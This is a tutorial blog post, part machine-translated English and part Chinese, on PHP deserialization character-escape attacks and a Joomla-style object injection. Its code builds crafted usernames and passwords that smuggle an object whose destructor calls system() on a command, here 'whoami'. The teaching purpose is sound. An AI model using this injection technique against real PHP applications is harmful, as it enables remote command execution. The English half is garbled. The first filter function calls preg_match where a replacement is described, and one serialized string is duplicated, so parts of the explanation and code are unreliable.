Detailed PHP deserialization characters escape

Starting prophet community, https://xz.aliyun.com/t/6718/edit

PHP deserialization escape character

  • All tests were performed under the following php 7.1.13 nts

  • Let me talk about a few characteristics, PHP when deserialized, the class does not exist in the properties will be deserialized

  • PHP during deserialization, the underlying code is ;a field separator to }as the end (except for the string), and the content is determined according to the length

  • For example: In a normal deserialization code is entered a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}, the following results will be obtained

  • If you replaced a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";it is still the result of the above, but if you modify its length, for example, replaced a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}the error will be

  • Here for example, will be xreplaced yy, how to modify the password?

<?php
function filter($string){
    return preg_match('/x/','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);

var_dump(serialize($user));
echo '\n';

$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));
  • Serialization of the case under normal a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

  • If that usernamechanged peri0dxxx, serialize the results of treatment is a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}, at this time will certainly be deserialized failure

  • We can see s:9:"peri0dyyyyyy"more than 3 characters than ever before

  • Back to the front, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}I think about it after making changes to modify the passworda:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

  • It can be seen to be added string ";i:1;s:6:"123456";}length20

  • Suppose you want the peri0dpadding behind the 4characters, that is, s:30:'peri0dxxxx";i:1;s:6:"123456";}';after a process that s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';reads 30characters asperi0dyyyyyyyy";i:1;s:6:"12345

  • This needs to continue to increase the filling characters in there 20a xwhile, I realized password changes

  • 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

看一看 Joomla 的逃逸

  • 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
  • 详细的代码逻辑不再阐述,它这里就是先将 chr(0).'*'.chr(0)3 个字符替换为 \0\0\06 个字符,然后再反过来
  • 我们这里最终的目的是实现任意的对象注入
  • 正常来说,这个序列化结果为 O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";} ,我这里的目的是要把 password 的字段替换为我的 payloads:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
  • 那么可以想一下,一种可能的结果就是 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
  • 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在 User 中多加一个 $ts
<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
  • 这个序列化结果中,";s:8:"password";s:4:"1234 长度为 26 ,加上 peri0d6 就是 32 了,这样就覆盖了 password 及其值,再将前面的属性改为 2 就符合原来的源码含义了,而且它是可以成功反序列化的
  • 接下来就是如何构造 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} ,很明显要利用前面的替换使 peri0d 扩增来覆盖 password ,然后将 payload 作为 password 的值输入,以达到 payload 注入
  • 先修改 username="peri0d\\0\\0\\0"$password = "123456".$payload 得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
  • 发现有问题,修改 $password = '123456";'.$payload."}"
  • 就得到了符合规范的序列化结果 O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
  • 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用 N 代表 NULL : O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
  • 这就会多出来 3 个字符,这里一定是按照 3 的倍数进行字符增加的,而 ";s:8:"password";s:56:"123456 长度为 29 ,这就需要进行增加或减少,从而去凑 3 的倍数,这里选择减少,使 password1234 则长度为 27 ,即需要 9\0\0\0
  • 最终的 payload :
<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
  • 结果:

  • 顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病
  • 题目地址:http://47.101.71.47:9000/

参考链接

Guess you like

Origin www.cnblogs.com/peri0d/p/11845917.html